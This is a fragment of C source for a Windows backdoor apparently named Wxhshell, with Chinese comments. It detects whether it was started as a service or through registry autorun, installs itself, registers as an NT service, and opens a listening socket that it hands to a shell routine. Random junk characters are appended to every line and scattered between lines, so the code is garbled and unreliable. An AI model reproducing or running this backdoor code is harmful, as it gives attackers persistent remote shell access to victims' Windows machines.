ULONG InheritedFromUniqueProcessId; SE %pw9
} PROCESS_BASIC_INFORMATION; %*}(}~
UP,c |
PROCNTQSIP NtQueryInformationProcess; -[.[>&`/
Rima;9.Y0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `b$.%S8uj=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C LRdm^B
@K-">f
HANDLE hProcess; S<Xf>-8w
PROCESS_BASIC_INFORMATION pbi; Lp9E:D->
/7YIn3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (9dl(QSd
if(NULL == hInst ) return 0; /%^#8<=|U
Gk6iIK
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZJiG!+-j
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G4"F+%.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cw&KVw*
xJ.M;SF4
if (!NtQueryInformationProcess) return 0; k8zI(5.>
Y.p;1"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qo|\-y-#
if(!hProcess) return 0; m)v&v6
u>vL/nI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {+>-7
9b
$[ *w"iQ
CloseHandle(hProcess); ;!Fn1|)
G' 1'/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5)X=*I
if(hProcess==NULL) return 0; 6_B]MN!(
3Jn;}
HMODULE hMod; ftSW
(og
char procName[255]; "#g}ve,
unsigned long cbNeeded; 1_G^w
qk
M"L=L5OH-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E"IZ6)Q
n+R7D.<q!!
CloseHandle(hProcess); s5.CFA
8eRLy/`gd
if(strstr(procName,"services")) return 1; // 以服务启动 #O&8A
kq-) ^,{y
return 0; // 注册表启动 o4WDh@d5S
} * v#o
lU]nd[x
// 主模块 qxc[M8s
int StartWxhshell(LPSTR lpCmdLine) P$,Ke<
{ %z$#6?OK^
SOCKET wsl; _#8MkW#]~
BOOL val=TRUE; o+VQ\1as?(
int port=0; yt2PU_),
struct sockaddr_in door; q,%st~
y1#1Ne_
if(wscfg.ws_autoins) Install(); cz$2R
Zwx%7l;C
port=atoi(lpCmdLine); !<h)w#>en
Uw:"n]G]D?
if(port<=0) port=wscfg.ws_port; }-`4DHgq
GA.8@3
WSADATA data; nr3==21Om4
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +cRn%ioVi
!'O@2{?B
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qxj(p o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Y.y:Vv;
door.sin_family = AF_INET; ajpXL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5IG-~jzCLb
door.sin_port = htons(port); |l!aB(NW
"gwSJ~:ds
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tl>7^hH
closesocket(wsl); ss-D(K"
return 1; 2t,zLwBdnJ
} %jM,W}2
LH6vLuf
if(listen(wsl,2) == INVALID_SOCKET) { F:ELPs4"
closesocket(wsl); `F6C-
return 1; 8;X-)&R
} ,z?':TZ
Wxhshell(wsl); Hx:;@_gq
WSACleanup(); aQ~s`^D
I}Q2Vu<
return 0; ~)'k 9?0
dqAw5[qMJ
} ']oQ]Yx0
D`AsRd
// 以NT服务方式启动 QS j]ZA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .
]M"#
\
{ mA} "a<0
DWORD status = 0; ?%kV?eu'
DWORD specificError = 0xfffffff;
2TuU2 f.
cj@koA'
serviceStatus.dwServiceType = SERVICE_WIN32; 9>$p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; zMJT:7*`|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -^wl>}#*T3
serviceStatus.dwWin32ExitCode = 0; :H[6Lg\*
serviceStatus.dwServiceSpecificExitCode = 0; Aa]"
serviceStatus.dwCheckPoint = 0; ]R? 4{t4
serviceStatus.dwWaitHint = 0; CH/rp4NeSy
Ct|A:/z(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Er[A X.3
if (hServiceStatusHandle==0) return; 6@Y|"b
3N:D6w-R
status = GetLastError(); 59-c<I/}f
if (status!=NO_ERROR) \di=
{ cGD(.=
serviceStatus.dwCurrentState = SERVICE_STOPPED; |D.ND%K&
serviceStatus.dwCheckPoint = 0; -%dCw6aX+
serviceStatus.dwWaitHint = 0; #D|p2L$
serviceStatus.dwWin32ExitCode = status; QdC<Sk!G
serviceStatus.dwServiceSpecificExitCode = specificError; M@ZI\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #89!'W
return; 4Xv*wB1
} b u"!jHPB
abEmRJTmW
serviceStatus.dwCurrentState = SERVICE_RUNNING; lNBL4yM
serviceStatus.dwCheckPoint = 0; Tb-F]lg$
serviceStatus.dwWaitHint = 0; 8x{'@WCG%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7[wieYj{
} >"<Wjr8W!$
bs'n+:X`
// 处理NT服务事件,比如:启动、停止 f
V( J|
VOID WINAPI NTServiceHandler(DWORD fdwControl) b_):MQ1{
{ v9->nVc-
switch(fdwControl) rXU\
{ "g#i'"qnW
case SERVICE_CONTROL_STOP: u~-8d;+?y
serviceStatus.dwWin32ExitCode = 0; BF <ikilR
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2 Vrw
serviceStatus.dwCheckPoint = 0; PiYxk+N
serviceStatus.dwWaitHint = 0; e 3TI|e_
{ J)C/u{o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w1DV\Ap*
} 0K2`-mL
return; r0gJpttDl
case SERVICE_CONTROL_PAUSE: *=c1do%F
serviceStatus.dwCurrentState = SERVICE_PAUSED; @|%2f@h
break; xF44M]i
case SERVICE_CONTROL_CONTINUE: @{O`E^}-D
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z)aUt
Srf
break; fwf$Co+R:*
case SERVICE_CONTROL_INTERROGATE: U ZsH9
o
break; d<N:[Y\4l
}; zI<<Q2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xUistwq
} hfy_3} _
{,~3.5u
// 标准应用程序主函数 }~e%J(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cpJ|w3xB
{ sp*v?5lW
R!N%o~C2-
// 获取操作系统版本 <yFu*(Q
OsIsNt=GetOsVer(); :zF,A,)
GetModuleFileName(NULL,ExeFile,MAX_PATH); $'hEz/
n#OB%@]<V
// 从命令行安装 %Q dn
if(strpbrk(lpCmdLine,"iI")) Install(); K&K